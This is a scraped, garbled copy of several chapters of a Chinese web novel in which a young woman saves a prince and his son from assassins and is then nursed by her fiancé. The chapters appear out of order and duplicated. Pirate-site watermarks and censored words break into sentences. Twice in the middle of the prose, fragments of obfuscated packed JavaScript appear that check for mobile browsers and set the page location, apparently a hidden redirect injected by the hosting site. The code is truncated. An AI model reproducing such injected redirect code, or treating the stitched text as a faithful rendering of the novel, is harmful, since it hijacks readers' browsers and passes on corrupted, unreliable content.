陈宴并没有放手,反而手腕一用力,捏着她的后脖颈迫使她扬起头来,自己则俯下身,两人间的距离只剩寸余,呼吸都交织在了一起。 “叶绯霜,你今天必须把话给我说清楚,明明白白给我个理由。”他盯着她,一字一顿,“我到底哪里招惹过你,以至于你这般厌我。” 第44章 放过我 深夜的别院灯火通明,本已睡下的人全都惊醒了。 月影带着郑茜静的几个丫鬟给叶绯霜处理身上的伤口,小桃粗手笨脚的,干不了细致活,只能站在一边不停掉眼泪。 大夫一边擦着手上的血污一边出了内室,陈宴立刻迎上来,问:“大夫,她怎么样?箭上有毒无毒?” “公子放心,箭上是麻痹散,不是毒药。” 陈宴一直堵在胸腔里的那口气终于呼了出来,过度紧张后的骤然松懈让他都有些晕眩。 陈宴单手撑在太师椅的扶手上,白皙的手背青筋绽出。他清晰地听到了自己擂鼓般的心跳,扯得胸口一阵阵发疼。 大夫道:“郑五姑娘身上伤口不少,但好在都是皮外伤,好好将养一段时间就没事了。” 陈宴缓缓吐纳几口气,说:“我去看看她。” 他疾步进了内室,月影正在给叶绯霜盖被子。 一个丫鬟拿了干净的棉巾要给叶绯霜擦脸,陈宴抬手:“给我。” 月影带着几个丫鬟还有哭懵了的小桃悄无声息地退了出去。 叶绯霜的脸已经不能看了,血、泥和汗糊成了一团。 陈宴一点点才给她擦拭干净,动作十分轻柔。 他喜洁净,受不了一点脏污,可现在做这样的事并没有什么厌恶的情绪。 初夏相见,现在已过中秋。这几个月里,陈宴见的都是她充满生命力的模样。她身上有少女的蓬勃朝气,也有超出年龄的稳重聪颖。 现在,她却苍白虚弱地躺在床上,精神气一下子就没了,看起来无比可怜。 陈宴的手指在她脸上轻轻勾了勾。 后半夜,叶绯霜发起了高热。汗水雨似的流下,脸颊通红。 大夫说是外伤加麻痹散导致的,高热、说胡话什么的都正常,等烧退了就好了。 陈宴坐在她床边,不厌其烦地给她擦汗,换额头上的冷帕。 到了清晨,叶绯霜果然开始说胡话,还不停地抓身上包扎好的伤口。 陈宴只得捏住她的手腕阻止她,她剧烈挣扎,陈宴怕她把包好的伤口又崩了,低声喝止她:“别动。” 叶绯霜真的不动了,忽然,她缓缓睁开了眼。 烛光映照下,她的眼睛很亮,就这么直勾勾地看过来,让陈宴觉得仿佛被一根无形的线拉扯住了。 四目相对,叶绯霜忽然抬手,摸了摸陈宴的脸。 陈宴陡然僵住,甚至都没有想着躲开。 她的手掌不似一般闺秀那样柔嫩细腻,而是有不少茧,带来的触感也十分明显,仿佛酥麻到了心底。 她面容痛苦,看向自己的眼神却是温柔缱绻的:“陈宴,你来了。” 陈宴温声回答她:“是,我来了。” “我现在很难看吧?” 陈宴把她鼻尖上的汗珠拭掉:“怎么会。” “我现在这么丑,你都愿意来看我,看来我真的要死了。” “别怕,你身上都是轻伤,不会死的。” “陈宴,看在我快死的份儿上,你放过我吧,好不好?” 陈宴蹙起眉头,沉默良久,才轻声问:“和我的这纸婚约,真就让你这么难以忍受?” 难以忍受到刚从昏迷中醒过来,就让他放过她。 就像第一次见到他时,就要退婚。 可是叶绯霜此刻的痛苦那么真实、那么清晰。 不是肩上的伤带来的痛苦,她的痛苦源于内心,仿佛已经经过长年累月的积累,深入骨髓之中,让她痛不欲生。 “陈宴,你折磨了我这多年,也该够了吧?最后的时刻,你放我回家去吧,我不想死在这里。” 陈宴闭了闭眼,而后自嘲哂笑。 她受了伤,高热不退,大夫说她醒来后可能会神志不清、胡言乱语。 可陈宴没想到她开口就污蔑自己。 她到底把自己想成了怎样的恶人? “我什么时候折磨你了?”陈宴惩罚似的轻轻捏了捏她的手,“还这么多年,你统共才多大啊,哪来这么多年?” “十一年,还不够?人生有几个十一年?” 陈宴只觉得离谱:“你今年过完年才十一岁,难道你还没出生我就开始折磨你了?” “你不让我念书、识字,不让我学画画、弹琴,让我活生生地成了个废物。这难道不算折磨吗?” 陈宴自知不该和个病人计较,可这颠倒是非的话谁能忍? “我什么时候不让了?叶绯霜,你凭良心讲,我给你授课的时候认真不认真?我就收过你这么一个学生,是你不好好听我的课!” “你还不让我练棍,否则我那一身本事也不会荒废了。爹爹总是夸我根骨好、有天赋,可我的天赋就是被你毁了!” 陈宴是真被这一条又一条的莫须有罪名气笑了:“我都不知道你会使棍子!你告诉过我吗?” “你还不让我出门,把我像狗一样关着!” “我关着你是为了让你养伤,不想让你小小年纪就落下病根。谁知道你伤刚好,就偷摸又往出跑了?你为什么不能安分一点?” 叶绯霜呵地笑了一声,别开眼不再看他,脸上带着万念俱灰的死寂:“我就知道,不管我什么样子你都不会满意。” 陈宴捏了捏眉心,重重吐了口气:“……难道不是你一直不满意我?” 初见就要和他退婚,此后更是时时把退婚挂在嘴边,仿佛嫁给他和赴死没什么两样。 现在,还把他幻想成了一个折磨她许多年、这也不许那也不许的恶人。 陈宴有些无奈,更多的是不解。 他从小在赞誉声中长大,实在不理解为何在她眼里就那么差。 “都无所谓了,反正我要死了。”叶绯霜说,“我这一辈子虽然失败,但到底没有伤天害理。死后不说成仙成佛吧,起码转世不至于沦落畜生道,应该还能投胎当个人。希望我下辈子,能过得好一点。” 怕死是人之常情,陈宴理解。 所以并没有觉得不耐烦,依旧耐心地安抚她:“你不会死的,叶绯霜,你会好好的。别管下辈子了,先把这辈子过好吧。” “我这辈子已经到头了。” “说什么傻话,你这辈子才刚刚开始。” 第43章 他来了 陈宴远远地听见了厮杀声。 卢季同也收起了一贯的嬉皮笑脸,拧起眉头,桃花眼里满是凝重:“不好,璐王父子遇袭了!” 陈宴立刻派随从回去叫人,自己则带着一队侍从往声音传来的方向赶去。 他的侍从都是从陈氏暗卫中挑出来的,经由他一手调教,以一敌十不在话下。 空气中弥漫着浓重的血腥气,官道上尸体横陈。 锦风下马一看,有的很明显是王府护卫,其它的无法辨认身份。 “去找王爷和世子的踪迹!”陈宴冷声吩咐。 一众护卫齐声应是,向四面八方散开。 片刻便有人回来禀报:“公子,前方官道被滚石堵住了。” 陈宴即刻打马:“那边,走!” 他转向一条小路,行出一段,看见了更多的尸体。 陈宴曾练习百步穿杨,练出一双好目力,漆黑的夜色对他的影响并不大。 瞧见一名王府护卫还有余气,他即刻下马过去,说:“我是颍川陈氏陈宴,你家王爷和世子呢?” 王府护卫口鼻中不断溢出鲜血,已是出气多进气少了,他认出了这位大名鼎鼎的陈三郎,眼中流露出等到救援的慰藉。 艰难地朝着密林的方向指了指,就咽下了最后一口气。 —— 这群人不同于秦氏找的那些半吊子,是真正的高手。 好在叶绯霜一开始出其不意射杀了几个,剩下的这几个她还能应付。 她从小就跟着养父上山,对山林无比熟悉。而且前阵子经常来山上玩,她对这里的地形已经不陌生了。 她一边应付着敌人,一边带着璐王父子以树木为掩护躲藏。 她身姿灵巧,出招刁钻,让对方捉摸不透,即便他们人多势众,竟也在叶绯霜这里占不到什么便宜。 但叶绯霜其实也没好到哪里去。 虽然她每天练习从不懈怠,但这具身体毕竟只有十岁。哪怕她身量再高,再不像十岁,也在力量上有天然的弱势。在这样高强度的缠斗下,她的四肢已经开始发酸了。 叶绯霜带着璐王父子往东边跑,出声叮嘱他们:“王爷,世子,你们跟紧我,弯腰,多往树后边躲。” 宁衡震惊无比:“你是女的?” 他以为她是个年轻的小郎君。 “世子千万小心脚下,仔细看着点。”叶绯霜没理会他的疑问,飞快地说,“密林里有很多猎户挖的陷阱,你千万别掉进去。” 前世,宁衡就是掉进了陷阱里,被里边放着的竹刺扎穿了腿骨,此后不良于行。 宁衡小鸡啄米似的点头:“我知道了。” 叶绯霜计算着时间,再撑一会儿,铜宝就能带着府衙官兵到了。 可谁知,支撑了很久,已经过了她预留的时间,她连一丝援兵的气息都没有嗅到。 她今天下午就派了铜宝回荥阳城,并且和郑茜静借来了成国公府令牌给铜宝,让他对荥阳知府说派些官兵来张庄村,保护成国公府的郑二姑娘。 难道荥阳知府不愿意调人? 真是吃了熊心豹子胆。 耳边忽然传来宁衡的一声惨叫,叶绯霜一看,只见他还是踩到了猎户们挖的陷阱,半边身子已经滑了下去。要不是被璐王扯住,怕是人就已经掉进去了。 可是璐王矮小又臃肿,哪里拽得住高大壮实的儿子?竟也差点被拉进去。 关键时刻,叶绯霜扯住了宁衡肩头的衣服,捞住了他。 她握住他的胳膊,把他往外边带。 可这样一来,她的后背就留给了后边的敌人。 感受到危险袭来,她急忙侧身躲避,这样手上就卸了力,宁衡惨叫一声又往下滑去。 最后一刻,叶绯霜没有完全松手,拉住了宁衡。可是本能躲开的那支箭没有躲过去,擦着她的肩头划过,溅起一片血雾。 叶绯霜顾不得新添的伤,大喊一声:“王爷,用力!” 她和璐王一起使出全身的力气,把宁衡从陷阱里拽了出来。 璐王跌坐在地,叶绯霜捞起稠木棍子,迎上已经追来的敌人。 叶绯霜不怕近身战,她猎杀过那么多猛兽。 可那是她自己一个人,只需要顾好自己就行。现在还有璐王和宁衡两个拖油瓶。 可她又知道,这世间的一切都是要等价交换的。她要当璐王父子的救命恩人,就要付出代价。 危险和恩情是对应的。情况越凶险,璐王父子就会越感激她,就和郑茜静一样。 叶绯霜死死咬紧牙关,挡住一柄又一柄刀剑,稠木杆子伤痕累累。 她瞅准一个人的命门,全力挥棍捅去,可谁知手上却忽然使不上力,差点连棍子都没握住,眼前更是一阵黑白眩晕。 宁衡都看出了她的不对劲,大叫:“姑娘!” 叶绯霜晃了晃脑袋,可眩晕感更重,眼前都出现了重影。 她听见宁衡大叫:“姑娘,小心!” 但是她已经看不清危险来自哪个方位了。不过感知尚在,她靠着敏锐的直觉就地一滚,躲开了那致命一击。 一击不成又是一击,叶绯霜眼中的天地已经颠倒过来,她彻底分不清了。 关键时刻,一柄银白色的长剑破空而来,剑身是软的,如灵蛇一般,却在和砍她的那柄刀相撞时,陡然绷紧,仿佛玄铁浇筑的利刃,发出令人头脑刺痛的铮鸣声。 天是暗的,夜是黑的,就显得这突然出现的一抹白影格外的清晰。 叶绯霜看不清来人的脸,但是她闻到了雪中春信特有的清冽梅香。 她隐约听到宁衡劫后余生、惊喜到几乎哽咽的声音:“父王,是陈宴!” 厮杀声再度响起。陈宴带来的人多,再加上那群人已经被叶绯霜耗去了许多气力,没有支撑多久,就彻底败落。 陈宴第一时间回到叶绯霜身边,把她抱起来,喊她的名字:“叶绯霜?” 她脸色白得像纸,瞳眸中没有一丝焦距。她看着他,却又好像没有在看她,胸脯起伏几下,口中忽然涌出一大股鲜血。 手心濡湿,陈宴一看,自己已是满手的血。 一颗心剧烈跳动起来,失去了所有的从容和秩序,他被前所未有的惶恐和惧怕裹挟着,没了矜雅风度,叫她名字的声音都带着颤音:“叶绯霜,你坚持住!” 叶绯霜却闭上双眼,头往他怀里一侧,手也垂了下去。 第42章 救世主 庇阳山山体辽阔,绵延千里,是荥阳城的一面天然屏障。 车马粼粼,一道亲王仪仗自官道转来。 仪仗最中间是一架高大的金顶马车,车里坐着璐王和世子宁衡。 宁衡刚一觉睡醒,还有些迷糊,聊起帘子往外一看,顿时精神了:“看见村里的灯火了,证明马上就要到荥阳城了。哎呀,可算是回来了。” 他坐直身子,抖了抖肩膀:“太好了,又三年不用进京了,舒服!” 璐王没搭理儿子,依旧闭目打坐,两只手在空气中画圈,口中念念有词,像是在做法。 要是让不认识的人见到,绝对不会认出这是位身份贵重的藩王。 因为璐王潜心修道,一整个道士打扮。就是平时养尊处优吃得太好,身材有点富态,没有仙风道骨那种劲儿。 但宁衡还是很怕自己父王哪天想不开出家了,他就得继任王位了。 当世子,还能偷溜出封地玩一玩。 当了藩王,除非进京,否则平时连荥阳城都不能出。 进京也不是什么好事。他这璐王世子的身份在荥阳好用,可进了京他就屁都不是了。 大昭藩王多,世家也多,那些显赫世家的公子小姐不比他们王孙贵胄差。京城花团锦簇,争奇斗艳,大街上随便扔一块儿石头就能砸到一个天家女世家子。 他爹没有实权,还一心修道,宁衡都不愿意回想京城那群人是怎么笑话自己的。 荥阳多好啊,在荥阳当个土皇帝,呼风唤雨。 郑家又很老实,和他们璐王府处得相当不错。 不像封地在博陵的晟王,晟王叔虽有实权,但博陵还有个崔氏。 博陵崔氏可比荥阳郑氏还要基业深厚,晟王几乎每天都在和崔氏斗法,多闹心。 宁衡对自己的日子再没有什么不满的了。 他一把握住璐王的手,情真意切地说:“父王,您可千万要长命百岁啊!在这王位上稳稳地再坐他五十年!” 璐王终于睁开眼,一双不大却满含精光的眼睛看着爱子:“我的儿,为父最大的愿望就是你赶紧继承王位,为父也好过几天闲云野鹤的日子。” “不,父王,您是最好的璐王,儿比不上您!” “长江后浪推前浪,父王老了,该退位让贤了。” 宁衡大惊:“父王,你不能退!” 璐王欣慰:“衡儿,你可以的!” 宁衡想了想,恳切地问:“父王,您有没有什么流落在外边的私生子?可以抓回来继承王位的那种?” 璐王直拍大腿,叹道:“没有啊!儿,都怪父王对你母妃一心一意,用情至深。从不在外留情,如今竟无人可替你我分忧!” 宁衡怒其不争:“父王,你怎么这么没用!” 璐王恨铁不成钢:“我的儿,你怎么也这么没用!” 此时,忽听外边“咚”的一声巨响,马车晃了晃。 宁衡扶着车壁稳住身子,惊叹:“父王,你气功大成了?” 璐王两只手又开始挥舞,外边不断传来咚咚咚的巨响。 宁衡瞪大眼:“父王,你在隔山打牛吗?” 璐王收了手,捻了捻山羊胡,不紧不慢地说:“不出意外的话,我们遇到意外了。” 紧接着就响起卫队士兵的大喊声:“有埋伏,有刺客!快快保护王爷和世子!” 骏马一声嘶鸣,拉着马车狂奔起来。 宁衡刚想撩开帘子看一看外边,一支箭就嗖的一下透过窗户飞进来,从他脸侧划过,钉在了车壁上,箭尾的羽毛还在不断震颤。 宁衡的脸一下子就白了,剧烈颠簸的马车震得他话都说不连贯了:“这……这是……谁要刺杀我们?” 他和父王都是老实人,没有得罪过谁啊? 璐王把宁衡拉到自己身边,紧紧抱着他,安抚儿子的同时条理清晰地问了车外的侍卫几句话。 得知对方来势汹汹,刚才的巨响就是山上的滚石,前边的官道可能被封住了,马车应该过不去。 璐王当机立断:“骑马!” 他是个灵活的胖子,当即就出了车跳上马。宁衡也素爱跑马,骑术不错,父子二人在一众护卫的保护下离了官道,奔入一条小路。 宁衡回头看了一眼,马车已经被射成了刺猬。 很快,身后传来了一阵马蹄踏踏声,只见一群黑影朝他们袭来,像是一团要将他们吞噬的黑云。 宁衡吓得声音发抖:“父王,他们追上来了!” 王府护卫很快和后边追来的人厮杀起来,谁知前边也来了人,他们被前后夹击了! 护卫首领立刻说:“王爷,世子,快进密林!” 月黑风高,密林中的一棵棵树木有如鬼影,树枝掠过,勾烂了宁衡的锦袍,勾散了他的发髻,划破了他的脸。 宁衡自小顺风顺水,是蜜糖罐里长大的,从没遇到过这样的险情。 当黑巾覆面的歹人追上来,一个个将王府护卫砍落马下时,宁衡陷入了前所未有的绝望境地。 他一边策马一边大喊:“你们是谁,为什么要杀我们?我可以给你们银子,很多很多银子,你放过我们!” 回应他的是越来越近的黑影,月光将长剑照出令人肝胆欲裂的寒光。 一个黑衣刺客打马追上,举着长剑便朝宁衡砍来,璐王小小的眼睛瞪得巨大,眼眶几乎要都撑裂,凄厉大叫:“衡儿!” 这一刹那,宁衡完全僵住,时间都好像静止了。 他不会赶马逃命了,也不会大喊着谈条件了,他成为了一尊雕塑,颓然又绝望地看着那柄长剑落下来。 整个世界都安静了下来,却有一道破空之声。 一支利箭似是穿云而来,从那举剑的歹人脖颈右侧钉入,箭头从左侧钻出,直接将他横贯。 离宁衡面门只有寸余的剑刃颤了颤,便颓然落地。 他呆呆地转头,明明是这么暗沉的夜晚,可他还是那么清楚地看见一人一马,从密林深处疾驰而来。 马上的人轮廓纤细,左手持弓,右手拿箭,一拉一放,三支箭一齐袭来,从宁衡身侧飞过,钉入他身后的几名歹人胸中。 转眼间那人便至身前,可对方连他和父王都没有看一眼,便从马侧抽出一杆长棍,弯腰倾身,重重敲在那些歹人的马腿上。 几匹马嘶叫着跪地,把马背上的人甩下来,长棍再次敲下,每一击都仿佛敲碎了他们的脊骨。 宁衡愣愣地看着那救世主一般、纤柔却又仿佛坚不可摧的身影,耳边只有自己剧烈震颤的心跳声。 第41章 苦肉计 陈宴远远地听见了厮杀声。 卢季同也收起了一贯的嬉皮笑脸,拧起眉头,桃花眼里满是凝重:“不好,璐王父子遇袭了!” 陈宴立刻派随从回去叫人,自己则带着一队侍从往声音传来的方向赶去。 他的侍从都是从陈氏暗卫中挑出来的,经由他一手调教,以一敌十不在话下。 空气中弥漫着浓重的血腥气,官道上尸体横陈。 锦风下马一看,有的很明显是王府护卫,其它的无法辨认身份。 “去找王爷和世子的踪迹!”陈宴冷声吩咐。 一众护卫齐声应是,向四面八方散开。 片刻便有人回来禀报:“公子,前方官道被滚石堵住了。” 陈宴即刻打马:“那边,走!” 他转向一条小路,行出一段,看见了更多的尸体。 陈宴曾练习百步穿杨,练出一双好目力,漆黑的夜色对他的影响并不大。 瞧见一名王府护卫还有余气,他即刻下马过去,说:“我是颍川陈氏陈宴,你家王爷和世子呢?” 王府护卫口鼻中不断溢出鲜血,已是出气多进气少了,他认出了这位大名鼎鼎的陈三郎,眼中流露出等到救援的慰藉。 艰难地朝着密林的方向指了指,就咽下了最后一口气。 —— 这群人不同于秦氏找的那些半吊子,是真正的高手。 好在叶绯霜一开始出其不意射杀了几个,剩下的这几个她还能应付。 她从小就跟着养父上山,对山林无比熟悉。而且前阵子经常来山上玩,她对这里的地形已经不陌生了。 她一边应付着敌人,一边带着璐王父子以树木为掩护躲藏。 她身姿灵巧,出招刁钻,让对方捉摸不透,即便他们人多势众,竟也在叶绯霜这里占不到什么便宜。 但叶绯霜其实也没好到哪里去。 虽然她每天练习从不懈怠,但这具身体毕竟只有十岁。哪怕她身量再高,再不像十岁,也在力量上有天然的弱势。在这样高强度的缠斗下,她的四肢已经开始发酸了。 叶绯霜带着璐王父子往东边跑,出声叮嘱他们:“王爷,世子,你们跟紧我,弯腰,多往树后边躲。” 宁衡震惊无比: “你是女的?” 他以为她是个年轻的小郎君。 “世子千万小心脚下仔细看着点。”叶绯霜没理会他的疑问飞快地说“密林里有很多猎户挖的陷阱你千万别掉进去。” 前世宁衡就是掉进了陷阱里被里边放着的竹刺扎穿了腿骨 说的域名caixs?(请来才小 说 看最新章节 完整章节)此后不良于行。 宁衡小鸡啄米似的点头:“我知道了。” 叶绯霜计算着时间再撑一会儿铜宝就能带着府衙官兵到了。 可谁知支撑了很久已经过了她预留的时间她连一丝援兵的气息都没有嗅到。 她今天下午就派了铜宝回荥阳城并且和郑茜静借来了成国公府令牌给铜宝让他对荥阳知府说派些官兵来张庄村保护成国公府的郑二姑娘。 难道荥阳知府不愿意调人? 真是吃了熊心豹子胆。 耳边忽然传来宁衡的一声惨叫叶绯霜一看只见他还是踩到了猎户们挖的陷阱半边身子已经滑了下去。要不是被璐王扯住怕是人就已经掉进去了。 可是璐王矮小又臃肿哪里拽得住高大壮实的儿子?竟也差点被拉进去。 关键时刻叶绯霜扯住了宁衡肩头的衣服捞住了他。 她握住他的胳膊把他往外边带。 可这样一来她的后背就留给了后边的敌人。 感受到危险袭来她急忙侧身躲避这样手上就卸了力宁衡惨叫一声又往下滑去。 最后一刻叶绯霜没有完全松手拉住了宁衡。可是本能躲开的那支箭没有躲过去擦着她的肩头划过溅起一片血雾。 叶绯霜顾不得新添的伤大喊一声:“王爷用力!” 她和璐王一起使出全身的力气把宁衡从陷阱里拽了出来。 璐王跌坐在地叶绯霜捞起稠木棍子迎上已经追来的敌人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她脸色白得像纸瞳眸中没有一丝焦距。她看着他却又好像没有在看她胸脯起伏几下口中忽然涌出一大股鲜血。 手心濡湿陈宴一看自己已是满手的血。 一颗心剧烈跳动起来失去了所有的从容和秩序他被前所未有的惶恐和惧怕裹挟着没了矜雅风度叫她名字的声音都带着颤音:“叶绯霜你坚持住!” 叶绯霜却闭上双眼头往他怀里一侧手也垂了下去。 第40章 受重伤 深夜的别院灯火通明,本已睡下的人全都惊醒了。 月影带着郑茜静的几个丫鬟给叶绯霜处理身上的伤口,小桃粗手笨脚的,干不了细致活,只能站在一边不停掉眼泪。 大夫一边擦着手上的血污一边出了内室,陈宴立刻迎上来,问:“大夫,她怎么样?箭上有毒无毒?” “公子放心,箭上是麻痹散,不是**。” 陈宴一直堵在胸腔里的那口气终于呼了出来,过度紧张后的骤然松懈让他都有些晕眩。 陈宴单手撑在太师椅的扶手上,白皙的手背青筋绽出。他清晰地听到了自己擂鼓般的心跳,扯得胸口一阵阵发疼。 大夫道:“郑五姑娘身上伤口不少,但好在都是皮外伤,好好将养一段时间就没事了。” 陈宴缓缓吐纳几口气,说:“我去看看她。” 他疾步进了内室,月影正在给叶绯霜盖被子。 一个丫鬟拿了干净的棉巾要给叶绯霜擦脸,陈宴抬手:“给我。” 月影带着几个丫鬟还有哭懵了的小桃悄无声息地退了出去。 叶绯霜的脸已经不能看了,血、泥和汗糊成了一团。 陈宴一点点才给她擦拭干净,动作十分轻柔。 他喜洁净,受不了一点脏污,可现在做这样的事并没有什么厌恶的情绪。 初夏相见,现在已过中秋。这几个月里,陈宴见的都是她充满生命力的模样。她身上有少女的蓬勃朝气,也有超出年龄的稳重聪颖。 现在,她却苍白虚弱地躺在床上,精神气一下子就没了,看起来无比可怜。 陈宴的手指在她脸上轻轻勾了勾。 后半夜,叶绯霜发起了高热。汗水雨似的流下,脸颊通红。 大夫说是外伤加麻痹散导致的,高热、说胡话什么的都正常,等烧退了就好了。 陈宴坐在她床边,不厌其烦地给她擦汗,换额头上的冷帕。 到了清晨,叶绯霜果然开始说胡话,还不停地抓身上包扎好的伤口。 陈宴只得捏住她的手腕阻止她,她剧烈挣扎,陈宴怕她把包好的伤口又崩了,低声喝止她:“别动。” 叶绯霜真的不动了,忽然,她缓缓睁开了眼。 烛光映照下,她的眼睛很亮, 就这么直勾勾地看过来,让陈宴觉得仿佛被一根无形的线拉扯住了。 四目相对,叶绯霜忽然抬手,摸了摸陈宴的脸。 陈宴陡然僵住,甚至都没有想着躲开。 她的手掌不似一般闺秀那样柔嫩细腻,而是有不少茧,带来的触感也十分明显,仿佛酥麻到了心底。 她面容痛苦,看向自己的眼神却是温柔缱绻的:“陈宴,你来了。 陈宴温声回答她:“是,我来了。 “我现在很难看吧? 陈宴把她鼻尖上的汗珠拭掉:“怎么会。 “我现在这么丑,你都愿意来看我,看来我真的要**。 “别怕,你身上都是轻伤,不会死的。 “陈宴,看在我快死的份儿上,你放过我吧,好不好? 陈宴蹙起眉头,沉默良久,才轻声问:“和我的这纸婚约,真就让你这么难以忍受? 难以忍受到刚从昏迷中醒过来,就让他放过她。 就像第一次见到他时,就要退婚。 可是叶绯霜此刻的痛苦那么真实、那么清晰。 不是肩上的伤带来的痛苦,她的痛苦源于内心,仿佛已经经过长年累月的积累,深入骨髓之中,让她痛不欲生。 “陈宴,你折磨了我这多年,也该够了吧?最后的时刻,你放我回家去吧,我不想死在这里。 陈宴闭了闭眼,而后自嘲哂笑。 她受了伤,高热不退,大夫说她醒来后可能会神志不清、胡言乱语。 可陈宴没想到她开口就污蔑自己。 她到底把自己想成了怎样的恶人? “我什么时候折磨你了?陈宴惩罚似的轻轻捏了捏她的手,“还这么多年,你统共才多大啊,哪来这么多年? “十一年,还不够?人生有几个十一年? 陈宴只觉得离谱:“你今年过完年才十一岁,难道你还没出生我就开始折磨你了? “你不让我念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115769|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书、识字,不让我学画画、弹琴,让我活生生地成了个废物。这难道不算折磨吗? 陈宴自知不该和个病人计较,可这颠倒是非的话谁能忍? “我什么时候不让了?叶绯霜,你凭良心讲,我给你授课的时候认真 不认真?我就收过你这么一个学生,是你不好好听我的课! “你还不让我练棍,否则我那一身本事也不会荒废了。爹爹总是夸我根骨好、有天赋,可我的天赋就是被你毁了! 陈宴是真被这一条又一条的莫须有罪名气笑了:“我都不知道你会使棍子!你告诉过我吗? “你还不让我出门,把我像狗一样关着! “我关着你是为了让你养伤,不想让你小小年纪就落下病根。谁知道你伤刚好,就偷摸又往出跑了?你为什么不能安分一点? 叶绯霜呵地笑了一声,别开眼不再看他,脸上带着万念俱灰的死寂:“我就知道,不管我什么样子你都不会满意。 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) 陈宴捏了捏眉心,重重吐了口气:“……难道不是你一直不满意我? 初见就要和他退婚,此后更是时时把退婚挂在嘴边,仿佛嫁给他和赴死没什么两样。 现在,还把他幻想成了一个折磨她许多年、这也不许那也不许的恶人。 陈宴有些无奈,更多的是不解。 他从小在赞誉声中长大,实在不理解为何在她眼里就那么差。 “都无所谓了,反正我要**。叶绯霜说,“我这一辈子虽然失败,但到底没有伤天害理。死后不说成仙成佛吧,起码转世不至于沦落畜生道,应该还能投胎当个人。希望我下辈子,能过得好一点。 怕死是人之常情,陈宴理解。 所以并没有觉得不耐烦,依旧耐心地安抚她:“你不会死的,叶绯霜,你会好好的。别管下辈子了,先把这辈子过好吧。 “我这辈子已经到头了。 “说什么傻话,你这辈子才刚刚开始。 第39章 遇危险 接下来的三天,叶绯霜都昏迷着。 一直到第四天,高热才彻底退下去,麻痹散的药劲儿也终于散完了。 叶绯霜睁开眼时,恍若以为自己还在前世的那所小院里。 过了好一会儿,脑子才重新转起来。她终于想起自己这是在哪儿,经历了什么。 稍微动了一下,身体像是被打碎重组了一样,没一个地方是不疼的。 正在窗边发呆的郑茜静见她醒了,急忙出去叫人,很快进来一个鸡皮鹤发的老大夫。 老大夫穿着一袭粗布葛衣,面容清癯又慈祥,身上染着淡淡的药香,让人一看就心生信任。 郑茜静介绍说:“五妹妹,这位是谭大夫,以前是御医,现在是璐王府的府医。谭大夫医术高超,这几天都是他照顾你的。” 谭大夫给叶绯霜号完脉,说她已无大碍。但经此一役劳心伤体,身体透支严重,必须好好将养一段时间才能恢复元气。 叶绯霜谢了大夫,又问:“王爷和世子还好吗?” 谭大夫还没回答,门口就传来一个清朗的嗓音:“我和父王都好。” 宁衡踏入房中,锦衣在日光下潋滟生辉,让整个房间都亮了。 宁衡今年十六岁,高大健硕,剑眉星目,相貌十分周正。眼睛里有种没有被世俗所污的清澈,一看就是顺风顺水、锦绣堆中长大的富家公子。 叶绯霜对他表示关心:“世子没有吓到吧?当时那个陷阱真挺吓人的。” 宁衡拍了拍胸口:“我还真有点吓着了。那个陷阱好深,里边还放着特别尖的竹刺。要不是姑娘关键时刻拉了我一把,我掉下去非死即残。” 叶绯霜也不居功,谦虚地说:“是王爷和世子吉人自有天相。” 刚过来的陈宴脚步一顿,想着这不是挺会说话的吗?怎么和他说话时就那样? 叶绯霜看见了陈宴,而且不知道是不是她的错觉,感觉他看着自己的眼神里好像有点幽怨? 宁衡真诚地说:“多亏了姑娘你和陈宴,要不是你们,我和父王最后怎么样还真不好说。你们的大恩大德,我们没齿难忘!” 叶绯霜依旧谦虚:“世子言重了。” 宁衡搓了搓手,期待地问:“那天晚上我都没认出你是个姑娘,你的 棍子耍得太俊了!不过我父王说你练的是枪法? 叶绯霜点头:“我练的是**,但我没有枪,只有一杆棍子。 宁衡一拍大腿:“这好办啊,我送你一杆枪就是了!你想要什么枪?芦叶枪?梨花枪?虎头湛金枪?梅花亮银枪?还是都要?你只管说! 陈宴清楚地看见宁衡每说出一个名字,叶绯霜的眼睛就亮一分。 看来她是真喜欢枪。 但他的未婚妻凭什么要由别的男人来送枪? 陈宴出声:“世子。 “呀,三郎来了。宁衡起身,朝陈宴抱了抱拳。 他不是个自矜身份之人,对于厉害的人,他从来都很敬重,更何况对方还是颍川陈氏的世家子。 陈宴回了一礼:“王爷请世子过去。 “哦哦,行。宁衡又转向叶绯霜,“姑娘想好要什么枪,就差人告诉我,我定给姑娘打一杆顶好的。 “不劳世子费心。陈宴说,“她若是喜欢,我会给。 宁衡笑得清澈又单纯:“你给你的,我给我的,不冲突,多多益善嘛。 宁衡满脸崇拜:“姑娘,我送你枪之后,你可以教我练枪吗? 这话让叶绯霜有些惊讶:“应该有很多人想做世子的师傅,世子犯不着和我学。 宁衡摇头:“不行,他们的枪法太粗鲁了,没你的好看。 他是个喜欢美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115770|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好事物的人,不管干什么都要把“好看排在第一位。 “姑娘,那天看你打那些人,我都看呆了,真的太好看了,你简直就是仙女…… “世子。陈宴温和地打断了宁衡的话,轻轻拍了拍他背,“别让王爷等急了。 “那我先过去,等枪打好了,我们再说拜师的事。宁衡依依不舍地出去了。 